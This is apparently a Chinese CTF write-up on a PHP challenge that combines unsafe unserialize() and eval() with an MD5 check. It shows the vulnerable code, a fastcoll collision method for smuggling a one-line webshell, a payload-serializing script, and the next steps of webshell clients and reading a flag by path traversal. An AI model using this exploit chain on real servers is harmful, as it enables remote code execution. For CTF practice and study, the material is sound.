雖然是反序列化的題目,但主要考點在利用fastcoll實現md5碰撞。
直接上原始碼
<?php
show_source(__FILE__);
class CDUTSEC
{
public $var1;
public $var2;
function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);
程式碼審計
- 乍看上去很經典的md5碰撞題目,var1與var2原值弱比較不等md5編碼後強比較相等。想直接拿自己的屯的payload直接上?太年輕了!仔細看一看我們拿flag的唯一途徑是什麼?eval($this->var1);!你的字串不僅能夠實現md5碰撞以繞過,而且還必須實現命令注入。怎麼辦?這時候就要用到md5碰撞滴神器,fastcoll了!
fastcoll使用詳解
在我做題查閱各種fastcoll有關部落格的時候,發現很多隻是單純的介紹,而到具體使用卻寫的比較模糊。我這裡就結合題目寫一下。
首先,新建一個寫入一句話木馬的文字檔案。這裡加了?>目的就是讀完我們的一句話就提前結束,防止其他雜事。
然後把檔案丟到fastcoll裡跑一下(直接把檔案拖到程式上,或者用命令列./fastcoll_v1.0.0.5.exe呦~)
然後我們得到兩個檔案。這兩檔案讀到字串是不一樣的,但md5後是一樣的。
然後上我們的讀檔案和序列化指令碼。
其實就是主要用到file_get_contents函式,把檔案讀入字串。
<?php
class CDUTSEC{
public $var1;
public $var2;
}
$tr = new CDUTSEC();
$tr->var1 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg1.txt');
$tr->var2 = file_get_contents('C:\Users\Riverland\Desktop\shell_msg2.txt');
echo urlencode(serialize($tr));
傳個1=phpinfo();看看成功了沒有。
成功了。我們就歡樂滴騎上了馬。
菜刀蟻劍,或者直接readfile('../../../../../../flag');都可以。